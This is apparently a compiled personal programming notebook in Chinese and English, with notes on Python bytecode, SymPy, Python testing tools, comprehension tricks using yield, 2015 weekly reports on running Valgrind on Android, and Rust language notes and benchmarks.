1           0 LOAD_NAME                0 (i)
            3 LOAD_NAME                1 (j)
            6 BINARY_POWER
            7 RETURN_VALUE

pow(i, j) :

1           0 LOAD_NAME                0 (pow)
            3 LOAD_NAME                1 (i)
            6 LOAD_NAME                2 (j)
            9 CALL_FUNCTION            2
            12 RETURN_VALUE

math.pow(i, j) :

1           0 LOAD_NAME                0 (math)
            3 LOOKUP_METHOD            1 (pow)
            6 LOAD_NAME                2 (i)
            9 LOAD_NAME                3 (j)
            12 CALL_METHOD              2
            15 RETURN_VALUE

Reference¶

Exponentials in python x.**y vs math.pow(x, y)
Why is 2**100 so much faster than math.pow(2,100)?
Python - math - Mathematical functions
- This module is always available. It provides access to the mathematical functions defined by the C standard.

Python 3.5¶

PEP 0448 - Additional Unpacking Generalizations¶

CPython 的測試裡面直接有很棒的範例 XD (詳情請見 test_unpack_ex.py)

Resource¶

PyFormat: Using % and .format() for great good!
- 精美的 Python formatters 範例
The Hitchhiker’s Guide to Python!
Dive Into Python 3
Learn Python The Hard Way
Intermediate Python
A Guide to Python’s Magic Methods
- __xxx__
Why Are There So Many Pythons? A Python Implementation Comparison

SymPy¶

Installation¶

# 記得先切到 virtualenv 裡面
$ pip install sympy

Example¶

Example 1¶

# var(names, **args)
#     Create symbols and inject them into the global namespace.
#
#     This calls :func:`symbols` with the same arguments and puts the results
#     into the *global* namespace. It's recommended not to use :func:`var` in
#     library code, where :func:`symbols` has to be used::

>>> from sympy import var
>>> var('x y')
(x, y)
>>> z = x + y
>>> z
x + y

>>> from sympy import symbols
>>> x, y = symbols('x y')
>>> z = x + y
>>> z
x + y
>>> z - x
y
>>> z + x
2⋅x + y
>>> z ** 2
       2
(x + y)
>>> (z ** 2).expand()
 2            2
x  + 2⋅x⋅y + y
# 把其他值代入原本的方程式
>>> z
x + y
>>> z.subs(x, 3)
y + 3
>>> z.subs({x: 3, y: 4})
7
>>> z.subs([(x, 3), (y, 4)])
7
# symbol 名稱跟變數名稱可以不同
>>> m, n = symbols('n m')
>>> m
n
>>> n
m
>>> from sympy import init_printing
>>> from sympy import Integral
>>> init_printing()
>>> a = Integral(z, x)
>>> a
⌠
⎮ (x + y) dx
⌡
>>> from sympy import pi
>>> pi
π
# .evalf(100) : 計算 formula 實際的值，精準度指定為 100 位 (包含整數部份)
>>> pi.evalf(100)
3.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117068
# .evalf(100, subs=...) : 計算 formula 實際的值 (代入其他值)，精準度為 100 位 (包含整數部份)
>>> z.evalf(100, subs={x: pi, y: 1})
4.141592653589793238462643383279502884197169399375105820974944592307816406286208998628034825342117068

Example 2¶

>>> from sympy import Symbol
>>> from sympy.solvers import solve
>>> x = Symbol('x')
>>> y = x**2 - 1
# 解出方程式 (x**2 - 1 = 0) 裡的 x
>>> solve(y, x)
[-1, 1]

Reference¶

Python Testing¶

Tools¶

doctest¶

https://docs.python.org/3/library/doctest.html

doctest 就是在 Python source code 裡爬 docstring， docstring 包含 module 最一開始的匿名字串和 function 下最開始的匿名字串 (也就是 help 可以看到的)，找出 docstring 裡面格式為 interactive Python sessions 的部份，拿出來執行並檢查 output

利用測試來確保 docstrings 是 up-to-date 的
regression testing

def f(x):
    '''
    >>> f(123)
    123
    '''
    return x

if __name__ == "__main__":
    import doctest
    doctest.testmod()

或是 command line 直接下 python -m doctest -v xxx.py

unittest (PyUnit)¶

https://docs.python.org/3/library/unittest.html
inspired by JUnit
support
- test automation
- sharing of setup and shutdown code for tests
- aggregation of tests into collections
- independence of the tests from the reporting framework

command line 直接下 python -m unittest discover -v

nose¶

install : sudo pacman -S python-nose

nosetests --with-doctest -v

pytest¶

install : sudo pacman -S python-pytest

# pytest.ini
[pytest]
python_files=*.py

py.test --doctest-modules -v --strict

Python Tips¶

紀錄一些 Python 上的小技巧，善用後可以很方便，不過有些已經用的很習慣了，之後有想到任何新接觸 Python 的人會需要的再補上 :P

Python 的 bool 可以拿來做運算¶

>>> +True
1
>>> +False
0
>>> True + 1
2

善用 any 和 all¶

any 是只要傳入的 iterable 中間有任何的 bool 是 True 就回傳 True
all 是傳入的 iterable 中間全部的 bool 必須是 True 才回傳 True

Others¶

Python name mangling: When in doubt, do what?

yield with list comprehension¶

之前無意間發現可在 list comprehension 裡面使用 yield 和 yield from ，這是一個 tricky 的用法 :P

Example¶

list :

>>> list((yield x) or x for x in [1, 2, 3])
[1, 1, 2, 2, 3, 3]

>>> list((yield from range(x)) for x in [1, 2, 3, 4])
[0, None, 0, 1, None, 0, 1, 2, None, 0, 1, 2, 3, None]

>>> list((yield x) or x if not x % 2 else x for x in [1, 2, 3])
[1, 2, 2, 3]

>>> def f(val):
...     return "Hi"
>>> x = [1, 2, 3]
>>> list(f((yield a)) for a in x)
[1, 'Hi', 2, 'Hi', 3, 'Hi']

>>> x = [1, 2, 3]
>>> f = lambda x : x**2
>>> list(f((yield a) or a) for a in x)
[1, 1, 2, 4, 3, 9]

>>> x = (lambda : ((yield 666),(yield 777),(yield 888)))()
>>> next(x)
666
>>> next(x)
777
>>> next(x)
888
>>> next(x)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
StopIteration

>>> (lambda x: 999)((yield 3))
  File "<stdin>", line 1
SyntaxError: 'yield' outside function
>>> list((lambda x: 999)((yield 3)) for i in [2])
[3, 999]

dictionary :

# In Python 2
>>> myset = set(['a', 'b', 'c', 'd'])
>>> mydict = {item: (yield ''.join([item, 's'])) for item in myset}
>>> mydict
<generator object <dictcomp> at 0x7f479b246eb0>
>>> dict(mydict)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: dictionary update sequence element #4 has length 4; 2 is required
>>> mydict = {item: (yield ''.join([item, 's'])) for item in myset}
>>> list(mydict)
['as', 'cs', 'bs', 'ds', {'a': None, 'c': None, 'b': None, 'd': None}]

# In Python 3
>>> myset = set(['a', 'b', 'c', 'd'])
>>> mydict = {item: (yield ''.join([item, 's'])) for item in myset}
>>> mydict
<generator object <dictcomp> at 0x7f85655eb410>
>>> dict(mydict)
{'d': 's', 'a': 's', 'c': 's', 'b': 's'}
>>> mydict = {item: (yield ''.join([item, 's'])) for item in myset}
>>> list(mydict)
['cs', 'ds', 'bs', 'as']

flat_list¶

把傳入的巢狀 list 壓平

# assume there is no "None" in real data
>>> flat_list = lambda l: list(filter(lambda x: x is not None, ((yield from flat_list(i)) if isinstance(i, list) else i for i in l)))
>>> flat_list([1, 2, 3])
[1, 2, 3]
>>> flat_list([1, [2, 2, 2], 4])
[1, 2, 2, 2, 4]
>>> flat_list([[[2]], [4, [5, 6, [6], 6, 6, 6], 7]])
[2, 4, 5, 6, 6, 6, 6, 6, 7]
>>> flat_list([-1, [1, [-2], 1], -1])
[-1, 1, -2, 1, -1]

Reference¶

量子電腦¶

Quantum Circuit¶

量子纏結¶

1935 愛因斯坦

Shor’s algorithm¶

Reference¶

Engineering Report <dv> - Week 28, 2015¶

Highlights¶

研究 Valgrind 的 memory profiling
- Massif plugin 會定期對程式的 memory 做 snapshot，最後生出 heap memory 使用的改變圖，以及各時期的 heap 使用情形，區分 useful-heap 和 extra-heap，extra-heap 為 memory allocator 維護用或是 alignment 的耗費
- DHAT plugin 會紀錄 memory access，最後回報 allocate 出去的 memory 的 access 狀況，以及當初 allocate 的 call stack
研究 Valgrind 的運作方式以及 plugin 架構
cross-compile Valgrind for Android
讀 IgProf 相關資訊
- IgProf 為 CERN 的 LHC 的軟體當中負責 memory profiling 的工具，目前支援的平台為 x86、x86_64、ARM32、ARM64，使用 GPLv2 釋出
- 讀 IgProf 作為增加 memory profiling 相關知識的途徑之一
- [FOSDEM] 2015 - IgProf The Ignominous Profiler
- [2014] Improving the support for ARM in the IgProf profiler
- 以 IgProf 生成的 HTML report 作為參考

Plans¶

在 Android 環境下跑 Valgrind 分析程式
把 Valgrind 的結果生成 HTML report
研讀 Valgrind source code
閱讀更多相關資訊，例如 :
- Valgrind Research Papers

Issues¶

在 cross-compile 時原本使用 Valgind SVN 的 source code，編譯時會有 error，經過修正後才可以編譯，後來使用 AOSP 的 Valgrind 則無此問題
手邊無 Android device 可以實際測試 cross-compile 出來的 Valgrind，替代方案 :`
- 使用模擬器
- 在手邊的 Raspberry Pi 2 上裝 Android
編譯 IgProf 來做參考時，碰到編譯不會過的問題，需要修改後才可編譯，以及某個 commit 後會造成 profiling 出來的東西是空的，改回那部份的程式碼後才能正常生出 HTML report
- 皆已在 GitHub 上做回報
  
  編譯問題
  
  輸出問題 (後來發現使用 master branch 的 libunwind 才會正常，系統上的是 version 1.1，這當中行為有改過，還沒研究 libunwind 到底改了什麼)

Engineering Report <dv> - Week 29, 2015¶

Highlights¶

re2 - benchlog: Add gnuplot support
- 用 Python script 爬 re2 benchlog 生出需要的 gnuplot script 再畫出圖表
把之前 cross-compile 的 Valgrind 丟到 Android Emulator 裡跑
- 成功 adb push 進去，也會 work
- 在自己筆電上跑 Android Emulator (x86_64 -> ARM)，跑起來感覺很慢，印象中把 cross-compile 的 Valgrind push 進去就花了 10 mins
閱讀 [2007] Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation
- Valgrind 把重點放在 shadow value 這個概念上
- DBI framework 對 client code 的 representation 有兩種方式 (D&R, C&A)
  
  D&R (disassemble-and-resynthesise) 為 Valgrind 現在使用的方式，會先把 machine code 轉成 IR (原本 client code 的所有影響都必須明確地轉成 IR)，加入 instrumentation 用的 IR，最後轉回 machine code
  
  C&A (copy-and-annotate) 的作法則是把 instructions 逐個複製，對每個 instruction 加上註解描述影響 (annotate)，利用這些描述來幫助 instrumentation
  
  經由 data structures 來描述 (DynamoRIO)
  
  經由 instruction-querying API (Pin)
- Valgrind 的架構有變動過 (三個版本)
  
  第一版為使用 LD_PRELOAD 的方式把 Valgrind core 和 tool inject 到 client
  
  對靜態連結不管用
  
  較不 portable
  
  也會有部份 client 程式在 Valgrind 掌控外事先執行過
  
  大部份 DBI frameworks 使用這種方式
  
  第二版和現在架構類似，但需要一大塊空的 memory mappings 來放 components，較不 reliable
- Valgrind 運作八步驟
  
  machine code -> tree IR (反組譯)
  
  tree IR -> flat IR (優化，刪 redundant copy)
  
  flat IR -> flat IR (加入 instrumentation 用的 IR)
  
  flat IR -> flat IR (優化，constant folding、dead code removal)
  
  flat IR -> tree IR (為 instruction list 準備)
  
  tree IR -> instruction list (top down tree matching algorithm)
  
  instruction list -> instruction list (register allocation，把 virtual register 換成 host register)
  
  instruction list -> machine code (組譯)

Plans¶

/VEX/pub/libvex_ir.h
- 有很多 VEX IR 相關的資訊可以參看
把 Valgrind 的結果生成 HTML report (原定要做到的目標)

Issues¶

Engineering Report <dv> - Week 30, 2015¶

Highlights¶

嘗試把 Andoird 內建的 browser 跑在 Valgrind 上，但是目前會因為 Watchdog 的關係把系統的程式都砍掉，造成現在跑下去後沒多久系統就會重開 (目前還沒解決)

start_valgrind (shell script) :

#!/system/bin/sh

PACKAGE="com.android.browser"

VGPARAMS='--error-limit=no --trace-children=yes --tool=memcheck --leak-check=full --show-reachable=yes'

export TMPDIR=/data/data/$PACKAGE

echo "valgrind args: $*"
exec /data/local/Inst/bin/valgrind $VGPARAMS $*

(run script) :

PACKAGE="com.android.browser"
ACTIVITY=".BrowserActivity"

adb push start_valgrind /data/local/Inst/bin/
adb shell chmod 777 /data/local/Inst/bin/start_valgrind

adb root
adb shell am set-debug-app -w --persistent $PACKAGE
adb shell setprop wrap.$PACKAGE "logwrapper /data/local/Inst/bin/start_valgrind"

echo "wrap.$PACKAGE: $(adb shell getprop wrap.$PACKAGE)"

adb shell am start -S -D -a android.intent.action.MAIN -n $PACKAGE/$ACTIVITY

adb logcat -c
adb logcat

adb shell am clear-debug-app

exit 0

log

W/linker  ( 2537): Unsupported flags DT_FLAGS_1=0x421
I/start_valgrind( 2534): WARNING: linker: Unsupported flags DT_FLAGS_1=0x421
W/linker  ( 2537): Unsupported flags DT_FLAGS_1=0x421
I/start_valgrind( 2534): WARNING: linker: Unsupported flags DT_FLAGS_1=0x421
D/AndroidRuntime( 2537): >>>>>> START com.android.internal.os.RuntimeInit uid 10016 <<<<<<
D/AndroidRuntime( 2537): CheckJNI is ON
I/Process ( 1583): Sending signal. PID: 1583 SIG: 3
I/art     ( 1583): Thread[2,tid=1589,WaitingInMainSignalCatcherLoop,Thread*=0xb4827800,peer=0x12c020a0,"Signal Catcher"]: reacting to signal 3
...
W/Watchdog( 1583): *** WATCHDOG KILLING SYSTEM PROCESS: Blocked in handler on foreground thread (android.fg), Blocked in handler on ActivityManager (ActivityManager)
...
W/Watchdog( 1583): *** GOODBYE!
I/Process ( 1583): Sending signal. PID: 1583 SIG: 9
I/ServiceManager(   52): service 'telecom' died
I/ServiceManager(   52): service 'meminfo' died
I/ServiceManager(   52): service 'sensorservice' died
I/ServiceManager(   52): service 'batterystats' died
I/ServiceManager(   52): service 'appops' died
I/ServiceManager(   52): service 'power' died
...

[2011] Valgrind on Android — Current Status
Valgrind 的 Massif log 可以用 massif-visualizer，會用 GUI 顯示使用量的圖表

Plans¶

解決 Android 上用 Valgrind 跑 application 會被 Watchdog kill 掉的問題
補點 Android 相關知識 ...

Issues¶

Android 上用 Valgrind 跑 application 有問題

Engineering Report <dv> - Week 31, 2015¶

Highlights¶

這禮拜比較沒什麼進度 ...

Android Developers 論壇上發問碰到的問題，結果一直沒有被審核釋出
- 我都開始懷疑論壇有沒有收到 request 了 O_O
除了上次提到的 Massif-visualizer，發現一個叫 massif-view 的說是可以生網頁
- 連 README 都沒有
- 沒有文件
- code 頗糟
- 暫且先 fork 了一份，先想辦法跑起來 ...，之後在看要重構還是直接重寫
開岔發雞勒 issue 和 PR
- CPython - Issue 24774: inconsistency in http.server.test
- Neovim - [RFC] Update patches list up to 7.4.803 and vim-patch:7.4.799

Plan¶

Issues¶

Engineering Report <dv> - Week 32, 2015¶

Highlights¶

蒐集 Valgrind 相關的資源、應用
- https://github.com/Grindland
- 對於沒人繼續維護的 Valgrind 之後 build 看看能不能在新版上正常運作，並且整理一下 source code
Android developers group 上的發問依舊沒被審核
看了寫 Valgrind plugin 的基本流程
- 寫了個 script 幫忙
- 紀錄
- 發現 documentation 需要更新
  
  configure.in 現在已經換成 configure.ac
  
  AC_OUTPUT 換成 AC_CONFIG_FILES

Plans¶

Issues¶

Engineering Report <dv> - Week 33, 2015¶

Highlights¶

把 cross-compile 的 Valgrind 放到自己的手機上跑，發現不會像之前在 Android Emulator 裡面的時候整個系統 service 都重啟
原本自己的手機上的系統是以前刷的 4.1.2 (一開始是 2.3)，測試可以跑起來
後來把手機刷到新版 5.1.1，測試後也可以跑，不會系統 service 重啟
Android developers group 上的發問依舊沒被審核

Plans¶

Issues¶

Engineering Report <dv> - Week 34, 2015¶

Highlights¶

回報問題
- Bug 339861 - Remove Elf32_Nhdr definition for Android
- Bug 344802 - disInstr(arm): unhandled instruction: 0xEC510F1E
  
  bug report 裡面也有人拿來跑 SurfaceFlinger
待修正 Bug List
- disInstr(arm)
  
  [#344802] 0xEC510F1E (cond=14(0xE) 27:20=197(0xC5) 4:4=1 3:0=14(0xE))
  
  mrrc 15, 1, r0, r1, cr14
  
  [#331178] 0xEE190F1D (cond=14(0xE) 27:20=225(0xE1) 4:4=1 3:0=13(0xD))
  
  mrc 15, 0, r0, cr9, cr13, {0}
- disInstr(thumb)
  
  0xDEFF 0xF8DF
  
  mrcle 8, 7, APSR_nzcv, cr15, cr15, {6}
  
  0xDEFF 0xF107
  
  nrmlee f7, f7
  
  0xDEFF 0x461F
  
  mrcle 6, 7, r4, cr15, cr15, {0}
  
  0xDEFF 0x4607
  
  cdple 6, 15, cr4, cr15, cr7, {0}
- WARNING: linker: Unsupported flags DT_FLAGS_1=0x421
Bug Status on Valgrind repo :

_images/Valgrind-Android-bugs-status-2015-08.png

From Valgrind IRC (2015-05) (看起來前面提到的兩個 unhandled ARM instruction 可以先忽略 ?)

48 < jaeckel> disInstr(arm): unhandled instruction: 0xEE190F1D
48 < jaeckel> does that count as error?
49 < tomhughes> well that's a fatal, termingating your application now error
49 < tomhughes> that means your code is executing an instruction we don't know how to emulate
49 < tomhughes> I mean unless you catch the SIGILL and handle it somehow anyway
51 < jaeckel> yeah, that's handled
51 < jaeckel> so my application run afterwards
52 < jaeckel> btw. is there a chance this gets fixed someday?
52 < jaeckel> because it's marked as 'Probably WONTFIX or CANTFIX '
53 < tomhughes> well how do you "handle" it? it's generally hard unless there's some other instruction you can use instead
53 < jaeckel> TBH I don't know
54 < tomhughes> according to https://bugs.kde.org/show_bug.cgi?id=331178 it's expected
54 < tomhughes> that instruction is priviliged so crypto libraries that use it in userspace just ignore the failure
56 < jaeckel> okay, that would explain why it continues
58 < jaeckel> so I suppose we can also ignore that this happens?
58 < tomhughes> sounds like it

Plan¶

補上 Elf32_Nhdr 的 condition 判斷，讓 issue #339861 可以 close
發現原來有 for Android Emulator 的 README ，之前眼殘沒看到，接下來嘗試它能不能 work
Build 現在新版的 Android (開 Debug 相關 info)，而不是使用現在我手機上的 Android 5.1
- 至少要有的 compile 參數 : -g -fno-omit-frame-pointer -fno-stack-check (for better stack trace information)

Issues¶

有些 stack trace 只顯示了 ???

根據 FAQ 裡的敘述，share objects 如果被 unloaded 的話會讓 Valgrind 的 error message 變成 ??? ，workaround 為避免這些 share objects 去呼叫 dlclose

範例

有 debug info 而且 unstripped (最好的情況)

Invalid write of size 1
    at 0x80483BF: really (malloc1.c:20)
    by 0x8048370: main (malloc1.c:9)

沒有 debug info 而且 unstripped

Invalid write of size 1
    at 0x80483BF: really (in /auto/homes/njn25/grind/head5/a.out)
    by 0x8048370: main (in /auto/homes/njn25/grind/head5/a.out)

沒有 debug info 而且 stripped

Invalid write of size 1
    at 0x80483BF: (within /auto/homes/njn25/grind/head5/a.out)
    by 0x8048370: (within /auto/homes/njn25/grind/head5/a.out)
    by 0x42015703: __libc_start_main (in /lib/tls/libc-2.3.2.so)
    by 0x80482CC: (within /auto/homes/njn25/grind/head5/a.out)

有 debug info 而且加了 -fomit-frame-pointer

Invalid write of size 1
    at 0x80483C4: really (malloc1.c:20)
    by 0x42015703: __libc_start_main (in /lib/tls/libc-2.3.2.so)
    by 0x80482CC: ??? (start.S:81)

unloaded shared object

84 bytes in 1 blocks are possibly lost in loss record 488 of 713
    at 0x1B9036DA: operator new(unsigned) (vg_replace_malloc.c:132)
    by 0x1DB63EEB: ???
    by 0x1DB4B800: ???
    by 0x1D65E007: ???
    by 0x8049EE6: main (main.cpp:24)

Engineering Report <dv> - Week 35, 2015¶

Highlights¶

針對 Valgrind 的 Bug 339861 - Remove Elf32_Nhdr definition for Android 送出 Patch
Valgrind for Android Emulator 的 README ，之前眼殘沒看到，但是測試後還是不能 work
- 裡面的敘述要改成 --kernel-variant=android-no-hw-tls
Clang Sanitizer Status
- Port LSan to arm
- Leak sanitizer support for Android on arm64
- 針對 Memory Leak 的 LSan 目前沒有打開 ARM32 或 ARM64 的 build option，但是似乎是成效問題不是完全不能使用？
- 針對未初始化值存取的 MSan 目前沒有 ARM32 和 ARM64 支援
- 針對其他多種 memory bugs 的 ASan 已經有 ARM32 和 ARM64 支援
  
  out of bounds (heap, stack, global)
  
  use after free
  
  use after return
- 針對 Data Race 的 TSan 剛好正加入 ARM64 支援 (沒有 ARM32)
  
  [compiler-rt] [tsan] Enable TSan for AArch64/42-bit VMA

Plan¶

打開 LSan for ARM 的 options 編來做測試
- Port LSan to arm
- 先跑 test case 確認現在還是都會過
- 假如 test case 真的都會過的話再來 build SurfaceFlinger 試看看
Doxygen for Valgrind
- 輔助後續理解 Valgrind 的 source code

Issues¶

Engineering Report <dv> - Week 36, 2015¶

Highlights¶

Dynamic Binary Instrumentation Framework using LLVM Backend
- [2014] DBILL: an efficient and retargetable dynamic binary instrumentation framework using llvm backend
- Poster
- [LLVMdev] Publication: DBILL: an efficient and retargetable dynamic binary instrumentation framework using llvm backend
- 2014 年 3 月由徐慰中老師帶的學生所發的 paper
- 架構基本上跟 Valgrind 類似
- 支援 Cross ISA Instrumentation
- 先例用 QEMU 把 Binary 轉成 TCG IR，接著把 TCG IR 轉成 LLVM IR (並加上 Annotatation)，再加入 Instrumentation LLVM IR (例如 ASan)，最後 JIT 轉成 Host 的 ISA 執行
- 貌似沒有釋出 code ???

Plan¶

Issues¶

Engineering Report <dv> - Week 37, 2015¶

Highlights¶

Binary to LLVM IR 相關 Project
Sanitizer 相關 Slide
Sanitizer 相關文章
- Using clang’s Address Sanitizer (without clang)

Plan¶

Issues¶

Information For Your Report¶

Week Numbers

Engineering Report <dv> - Week #, 2015¶

Highlights¶

Plan¶

Issues¶

Rust’s runtime reflection - “Any” type trait¶

Rust 有一個 module 叫 std::any ，裡面的 Any trait 可以讓 'static type 藉由 runtime reflection 來做到 dynamic typing

簡單範例：

use std::any::Any;

fn func(data: &Any) {
    if data.is::<i32>() {
        println!("i32: {}", data.downcast_ref::<i32>().unwrap_or(&0));
    } else if data.is::<f64>() {
        println!("f64: {}", data.downcast_ref::<f64>().unwrap_or(&0.0));
    } else {
        println!("unknown : {:?}", data);
    }
}

fn main() {
    let x = 3;
    func(&x);
    let y = 1.3;
    func(&y);
}

這邊可以看到 function parameter 的 type 寫的是 Any ，如此一來這邊就可以吃各種 type，下面在 main function 的地方就分別傳入了 i32 和 f64 的資料， Any type 可以用 .is::<TYPE>() 來判斷說是不是某種 type，而後續可以用 .downcast_ref::<TYPE>() 來取得 reference (不過記得先 unwrap)。

官方範例：

use std::fmt::Debug;
use std::any::Any;

// Logger function for any type that implements Debug.
fn log<T: Any + Debug>(value: &T) {
    let value_any = value as &Any;

    // try to convert our value to a String.  If successful, we want to
    // output the String's length as well as its value.  If not, it's a
    // different type: just print it out unadorned.
    match value_any.downcast_ref::<String>() {
        Some(as_string) => {
            println!("String ({}): {}", as_string.len(), as_string);
        }
        None => {
            println!("{:?}", value);
        }
    }
}

// This function wants to log its parameter out prior to doing work with it.
fn do_work<T: Any + Debug>(value: &T) {
    log(value);
    // ...do some other work
}

fn main() {
    let my_string = "Hello World".to_string();
    do_work(&my_string);

    let my_i8: i8 = 100;
    do_work(&my_i8);
}

官方的範例是要對程式做紀錄，但是 log function 不能確定要紀錄的變數的 type，此時可以使用 Any type 就可以接收各種不同的 type 來處理。

Reference¶

My Rust Articles Collection¶

multirust¶

multirust 是要管理系統上要使用多個 Rust 版本的問題，設定後可以根據所在的專案來選擇使用的 Rust compiler 版本。

安裝：

$ yaourt -S multirust
$ pacman -Ql multirust
multirust /usr/
multirust /usr/local/
multirust /usr/local/bin/
multirust /usr/local/bin/cargo
multirust /usr/local/bin/multirust
multirust /usr/local/bin/multirustproxy
multirust /usr/local/bin/rust-gdb
multirust /usr/local/bin/rustc
multirust /usr/local/bin/rustdoc
multirust /usr/local/bin/rustup.sh
multirust /usr/local/lib/
multirust /usr/local/lib/rustlib/
multirust /usr/local/lib/rustlib/components
multirust /usr/local/lib/rustlib/install.log
multirust /usr/local/lib/rustlib/manifest-multirust
multirust /usr/local/lib/rustlib/rust-installer-version
multirust /usr/local/lib/rustlib/uninstall.sh

使用：

$ mkdir i_need_nightly
$ cd i_need_nightly
$ multirust override nightly
multirust: installing toolchain 'nightly'
rustup: gpg available. signatures will be verified
rustup: downloading manifest for 'nightly'
rustup: downloading toolchain for 'nightly'
######################################################################## 100.0%
gpg: assuming signed data in '/home/USERNAME/.multirust/rustup/dl/11c3c8d06c2df7315585/rust-nightly-x86_64-unknown-linux-gnu.tar.gz'
gpg: Signature made Sun 09 Aug 2015 05:34:35 PM CST using RSA key ID 7B3B09DC
gpg: Good signature from "Rust Language (Tag and Release Signing Key) <rust-key@rust-lang.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: 108F 6620 5EAE B0AA A8DD  5E1C 85AB 96E6 FA1B E5FE
    Subkey fingerprint: C134 66B7 E169 A085 1886  3216 5CB4 A934 7B3B 09DC
rustup: extracting installer
rustup: installing toolchain for 'nightly'
install: creating uninstall script at /home/USERNAME/.multirust/toolchains/nightly/lib/rustlib/uninstall.sh
install: installing component 'rustc'
install: installing component 'cargo'
install: installing component 'rust-docs'

    Rust is ready to roll.

multirust: override toolchain for '/home/USERNAME/i_need_nightly' set to 'nightly'
$ rustc --version
rustc 1.4.0-nightly (a5d33d891 2015-08-08)
$ mkdir ../tmp
$ cd ../tmp
$ rustc --version
multirust: no default toolchain configured
/usr/local/bin/rustc: line 107: return: can only `return' from a function or sourced script
multirustproxy: assert_nz toolchain is empty
$ multirust override nightly
multirust: using existing install for 'nightly'
multirust: override toolchain for '/home/USERNAME/tmp' set to 'nightly'
$ rustc --version
rustc 1.4.0-nightly (a5d33d891 2015-08-08)

Some Packages¶

rust-csv
- fast CSV parser
- speed compare with other CSV parser

Rust’s Performance¶

類別	狀況
Compiler	rustc 1.3.0-nightly (69ca01256 2015-07-23)
Options	-C opt-level-3

Interesting Topic¶

SIMD
- Rust - Module std::simd

Iterator¶

已知數字做 filter¶

這份 code 可以在優化的時候事先算出 “499999999500000000” 後直接放入：

#![feature(iter_arith)]

fn main() {
    let result: u64 = (1..1000000000).sum();
    println!("{}", result);
}

但是這個卻不行，優化開下去之後還是需要經過 runtime 的計算：

#![feature(iter_arith)]

fn main() {
    let result: u64 = (1..1000000000).filter(|&x| x > 0).sum();
    println!("{}", result);
}

感覺應該要可以優化掉？

str::contains & pattern matching¶

#![feature(convert)]

use std::io::Read;

fn tokenize1(text: &str) -> Vec<&str> {
    let delims = [' ', ',', '.', '!', '?', ';', '\'', '"', ':', '\t', '\n', '(', ')', '-'];
    text.split(|c| {
            for &x in delims.iter() {
                if x == c {
                    return true;
                }
            }
            return false;
        })
        .filter(|data| !data.is_empty())
        .collect()
}

fn tokenize2(text: &str) -> Vec<&str> {
    text.split(|c| {
            match c {
                ' '  => true,
                ','  => true,
                '.'  => true,
                '!'  => true,
                '?'  => true,
                ';'  => true,
                '\'' => true,
                '"'  => true,
                ':'  => true,
                '\t' => true,
                '\n' => true,
                '('  => true,
                ')'  => true,
                '-'  => true,
                _    => false
            }
        })
        .filter(|data| !data.is_empty())
        .collect()
}

fn tokenize3(text: &str) -> Vec<&str> {
    let delims = " ,.!?;'\":\t\n()-";
    text.split(|c| str::contains(&delims, c))
        .filter(|data| !data.is_empty())
        .collect()
}

fn main() {
    let mut stdin = std::io::stdin();
    let mut tmp = String::new();
    stdin.read_to_string(&mut tmp);
    let result1 = tokenize1(tmp.as_str());
    let result2 = tokenize2(tmp.as_str());
    let result3 = tokenize3(tmp.as_str());
}

隨便生一個 73 MB 的檔案下去測，結果發現 pattern matching 的版本最快， str::contains 的版本最慢，覺得可以做優化 ...

function	type	speed
tokenize1	for loop	1.30 s
tokenize2	pattern matching	0.80 s
tokenize3	str::contains	2.45 s

Benchmarks Game¶

[Bitbucket] ewanhiggs/csv-game
- Rust is the fastest now (almost the same as C)
[GitHub] kostya/benchmarks
- Rust still need some improvement

Resource¶

O’Reilly - Why Rust?
- 共 62 頁
- 適合有 C 或 C++ 經驗的人
- 介紹基本的 Rust 特性
- Borrow Checker (Ownership)
- Option/Result Monads
- Traits
Rust-101
- 用 Literate Programming 的方式介紹 Rust 裡的許多特色
- 涵蓋內容差不多在基礎到中等
The Rustonomicon - The Dark Arts of Advanced and Unsafe Rust Programming
The Rust Programming Language

Rust¶

一些被推薦的點 (代研究)¶

Immutable by default, no global variables, private by default
borrow checker
C like performance without nasal demons
no big VM, no GC needed
immutable/private by default
pattern matching
HM-style type inference (Turing complete)
fully hygienic macros
helpful compiler errors, Lint’s built in
great community
Move by default
channel for concurrency
- Erlang like channel
- https://news.ycombinator.com/item?id=7851274
suitable for hard real time
I don’t have to worry about aliasing anymore
- pointer aliasing
- https://www.reddit.com/r/rust/comments/2x0h17/whats_your_killer_rust_feature/cow3zod
https://www.reddit.com/r/rust/comments/2x0h17/whats_your_killer_rust_feature
region-based memory management -> lifetime

Todo¶

Rust - Runtime Service¶

隨手用 Valgrind 跑個 Rust 的程式後，發現有意料之外的 heap 使用，後來才知道是 Rust std 做的，之後來了解 Rust 的 Runtime Service 做了什麼事情 ...

No stdlib¶

Rust - No stdlib

Rust - clone-on-write smart pointer¶

Rust - Enum std::borrow::Cow

Reference¶

Todo¶

Books¶

Types¶

How Do Types Affect Productivity and Correctness? A Review

brorrow¶

Docs¶

PhantomData
Cell
- Shareable mutable containers.
boxed
- A pointer type for heap allocation.
- https://github.com/rust-lang/rust/blob/master/src/doc/trpl/box-syntax-and-patterns.md
- https://doc.rust-lang.org/std/boxed/struct.Box.html

Operator Overloading¶

Rust - std::ops

RFCs¶

DST

Misc¶

Question¶

Python decorator like in Rust ?
a function return a function or value (in enum ?)
什麼時候會 move ? heap 的話呢 ?
who is non-copyable ?
- euler.skip(1000-1) => this will move, non-copyable, why ?
stack check detail ?
gnerated assembly
tutorial from stack / heap status
ownership in mind programming
memory layout
tutorial with assembly
Any type’s pattern matching ?
repr
Why Rust?
- http://www.steveklabnik.com/nobody_knows_rust/

Things¶

pub
mod
extern crate std;
prelude

Tips¶

wants to know the type of a variable in Rust ?

let () = asd;

Notice¶

變數預設是不能更動的，要更改需要加上 mut
Rust 的 reference 在 caller 跟 callee 都需加上 “&”，藉此可以確定自己在用 pass by reference
預設使用 jemalloc

Rust’s Type System¶

Type System & Set Theory¶

19 世紀末期，John Venn 發明了 Venn Diagram (台灣稱為文氏圖)，用圖像的方式來表達集合論，簡單的方法讓小學生也能很容易地學會基礎集合論。

資訊領域以大量的數學為基底在發展，其中程式語言的 type system 是對於程式撰寫上有重大影響的核心議題。 Visualizing Rust’s type-system 這篇文章用文氏圖的來說明 Rust 的 type system，給出了非常好理解的範例。

